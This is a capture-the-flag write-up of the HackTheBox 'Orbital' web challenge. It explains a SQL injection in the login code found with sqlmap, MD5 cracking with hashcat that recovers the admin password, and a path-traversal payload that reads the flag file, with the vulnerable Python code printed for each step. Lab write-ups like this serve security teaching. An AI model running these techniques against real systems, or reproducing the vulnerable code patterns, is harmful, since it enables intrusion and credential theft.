Featured image of post Write-Up Orbital HackTheBox Apocalypse 2023

Write-Up Orbital HackTheBox Apocalypse 2023

Write-up of Orbital, an easy web challenge from HackTheBox Apocalypse 2023, walking through the recon and exploitation steps used to capture the flag.

Description

In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

Write-Up

When we start the docker and go to the IP provided by the challenge, we arrive directly on a login page.

Home page

Having the python source code available, we have to start a code review. As I only have the login page available, I am looking for the function to manage authentication.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def login(username, password):
    # I don't think it's not possible to bypass login because I'm verifying the password later.
    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

    if user:
        passwordCheck = passwordVerify(user['password'], password)

        if passwordCheck:
            token = createJWT(user['username'])
            return token
    else:
        return False

We realise that the username is passed in the SQL query without any verification. I am not very good at SQL injection so I am going tu use SQLmap. The best way to do it is by dumping a login request from BurpSuite and to pass it to SQLmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
~ cat request.txt
POST /api/login HTTP/1.1
Host: 64.227.41.83:32697
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://64.227.41.83:32697
Referer: http://64.227.41.83:32697/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"test","password":"test"}
1
~ sqlmap.py -r request.txt --dump

We manage to dump the MD5 hash of the admin’s password, then we just have to brute force it with hashcat for example.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
hashcat -m 0 hash ../HTB/rockyou.txt
hashcat (v6.2.5) starting

Dictionary cache hit:
* Filename..: ../HTB/rockyou.txt
* Passwords.: 14344387
* Bytes.....: 139921525
* Keyspace..: 14344387

1692b753c031f2905b89e7258dbc49bb:ichliebedich

Session..........: hashcat
Status...........: Cracked

So credentials are admin:ichliebedich

We then arrive on a page that appears to be a control dashboard.

Dashboard

From the source code, we see antoher authenticated endpoint :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()
    communicationName = data.get('name', '')

    try:
        # Everyone is saying I should escape specific characters in the filename. I don't know why.
        return send_file(f'/communications/{communicationName}', as_attachment=True)
    except:
        return response('Unable to retrieve the communication'), 400

It is easy to see that the code is vulnerable to a Local File Inclusion (LFI) so we just have to trigger the endpoint with a POST request with a body like this and the admin cookie :

1
2
3
{
    "name":"../../../../../signal_sleuth_firmware"
}

(In the Dockerfile we can see that the flag is in this file)

Flag

HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}